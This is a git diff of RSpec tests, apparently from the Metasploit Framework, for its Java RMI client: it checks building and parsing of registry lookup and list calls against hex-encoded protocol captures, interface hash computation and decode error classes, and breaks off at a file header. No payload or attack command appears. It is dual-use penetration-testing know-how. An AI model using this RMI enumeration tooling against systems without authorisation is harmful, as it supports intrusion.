::Msf::Java::Rmi::Client::Registry::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_lookup) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x00" + end + let(:lookup_opts) do + { + name: 'test' + } + end + let(:name_lookup) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x04\x74\x65\x73\x74" + end + + let(:default_list_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + end + + describe "#build_registry_lookup" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_lookup).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for an empty name" do + expect(mod.build_registry_lookup.encode).to eq(default_lookup) + end + end + + context "when opts with name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_lookup(lookup_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for the provided name" do + expect(mod.build_registry_lookup(lookup_opts).encode).to eq(name_lookup) + end + end + end + + describe "#build_registry_list" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_list).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_registry_list.encode).to eq(default_list_call) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb new file mode 100644 index 0000000000..d137b9d034 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb @@ -0,0 +1,97 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Registry::Parser do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:lookup_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" + + "\x86\x47\x4c\x80\x65\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e\x6d" + + "\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" + + "\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49\x6d" + + "\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02\x02" + + "\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + + "\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74\x75" + + "\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72\x00" + + "\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72" + + "\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61\xb4" + + "\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a\x55" + + "\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e\x31" + + "\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x11\x96\x8a\xd0\x5a" + + "\x9e\xa1\xeb\x94\x3e\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d\x86\x47" + + "\x4c\x80\x01\x01\x78" + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:remote_object) { 'javax.management.remote.rmi.RMIServerImpl_Stub' } + let(:remote_interface) do + { + address: '172.16.158.132', + port: 4502, + object_number: -8444149663951776706 + } + end + + let(:list_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" + + "\x86\x47\x4c\x80\x66\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e" + + "\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7" + + "\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" + + "\x06\x6a\x6d\x78\x72\x6d\x69" + + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:names) { ['jmxrmi'] } + + describe "#parse_registry_lookup_endpoint" do + it "returns the remote reference information in a Hash" do + expect(mod.parse_registry_lookup_endpoint(lookup_return)).to be_a(Hash) + end + + it "returns the remote address" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:address]).to eq(remote_interface[:address]) + end + + it "returns the remote port" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:port]).to eq(remote_interface[:port]) + end + + it "returns the remote object number" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:object_number]).to eq(remote_interface[:object_number]) + end + + it "returns the remote object unique identifier" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end + + describe "#parse_registry_list" do + it "returns the list of names" do + expect(mod.parse_registry_list(list_return)).to eq(names) + end + end + +end + diff --git a/spec/lib/msf/java/rmi/client/registry_spec.rb b/spec/lib/msf/java/rmi/client/registry_spec.rb new file mode 100644 index 0000000000..ce7496e567 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry_spec.rb @@ -0,0 +1,237 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Registry do + + let(:list_with_names_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + end + + let(:list_empty_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + end + + let(:lookup_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + end + + let(:lookup_exception) do + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + end + + let(:name) do + 'jmxrmi' + end + + let(:interface_class) do + 'javax.management.remote.rmi.RMIServerImpl_Stub' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_registry_list" do + context "when there aren't names registered" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(list_empty_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns empty array" do + expect(mod.send_registry_list(sock: io)).to eq([]) + end + end + + context "when there are names registered" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(list_with_names_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the list of registered names" do + expect(mod.send_registry_list(sock: io)).to eq([name]) + end + end + + end + + describe "#send_registry_lookup" do + context "when there isn't an interface bound" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(lookup_exception) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "raises an Rex::Proto::Rmi::Exception" do + expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) + end + end + + context "when there is an interface bound" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(lookup_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the reference information" do + expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class) + end + end + end + + describe "#registry_interface_hash" do + it "calculates the hash for the java/rmi/registry/RegistryImpl_Stub correctly" do + expect(mod.registry_interface_hash).to eq(4905912898345647071) + end + end +end + diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 72665d3a66..cd4de62bf3 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -5,17 +5,6 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/java/rmi/client' -class RmiStringIO < StringIO - - def put(data) - write(data) - end - - def get_once(length = -1, timeout = 10) - read - end -end - describe Msf::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new @@ -24,11 +13,11 @@ describe Msf::Java::Rmi::Client do mod end - let(:io) { RmiStringIO.new('', 'w+b') } + let(:io) { StringIO.new('', 'w+b') } let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } + let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } + let(:protocol_ack_io) { StringIO.new(protocol_ack) } let(:return_data) do "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + @@ -49,7 +38,17 @@ describe Msf::Java::Rmi::Client do "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { RmiStringIO.new(return_data) } + let(:return_io) { StringIO.new(return_data) } + + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end describe "#send_header" do it "returns the number of bytes sent" do @@ -59,7 +58,7 @@ describe Msf::Java::Rmi::Client do describe "#send_call" do it "returns the number of bytes sent" do - expect(mod.send_call(sock: io)).to eq(5) + expect(mod.send_call(sock: io)).to eq(41) end end @@ -86,7 +85,7 @@ describe Msf::Java::Rmi::Client do describe "#recv_return" do context "when end point returns a value to the call" do it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/java/rmi/util_spec.rb new file mode 100644 index 0000000000..b8cc6351fc --- /dev/null +++ b/spec/lib/msf/java/rmi/util_spec.rb @@ -0,0 +1,154 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'msf/java/rmi/util' + +describe Msf::Java::Rmi::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Util + mod.send(:initialize) + mod + end + + let(:example_interface) do + [ + {name: 'sayHello', descriptor: '()Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']}, + {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']} + ] + end + + let(:example_hash) do + 0x3e664fcbd9e953bb + end + + let(:method_signature) do + 'sayHello()Ljava/lang/String;' + end + + let(:method_hash) do + 0x53e0822d3e3724df + end + + let(:dgc_interface) do + [ + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', exceptions: ['java.rmi.RemoteException']}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', exceptions: ['java.rmi.RemoteException']} + ] + end + + let(:dgc_hash) do + 0xf6b6898d8bf28643 + end + + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + + let(:ref_address) { '172.16.158.131' } + let(:ref_port) { 3057 } + let(:ref_object_number) { 6085704671348084379 } + + let(:unicast_ref) do + { + :address => '172.16.158.131', + :object_number => 6085704671348084379, + :port => 3057 + } + end + + describe "#calculate_interface_hash" do + context "when an example interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(example_interface)).to eq(example_hash) + end + end + + context "when a DGC interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(dgc_interface)).to eq(dgc_hash) + end + end + end + + describe "#calculate_method_hash" do + it "generates a correct interface hash" do + expect(mod.calculate_method_hash(method_signature)).to eq(method_hash) + end + end + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_reference" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_reference(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_reference(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the address where the remote interface listens" do + expect(mod.extract_reference(unicast_ref_io)[:address]).to eq(ref_address) + end + + it "returns a hash containing the port where the remote interface listens" do + expect(mod.extract_reference(unicast_ref_io)[:port]).to eq(ref_port) + end + + it "returns a hash containing the object number of the remote interface" do + expect(mod.extract_reference(unicast_ref_io)[:object_number]).to eq(ref_object_number) + end + + it "returns a hash containing the extracted unique identifier" do + expect(mod.extract_reference(unicast_ref_io)[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end + end + +end + diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb index ce9eb43d12..333b124551 100644 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb @@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do describe "#decode" do context "when stream contains empty string" do it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do context "when stream contains incomplete block" do it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb index d12d342cdc..a328084a8c 100644 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_spec.rb @@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockData do describe "#decode" do context "when stream contains empty string" do it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockData do context "when stream contains incomplete block" do it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb 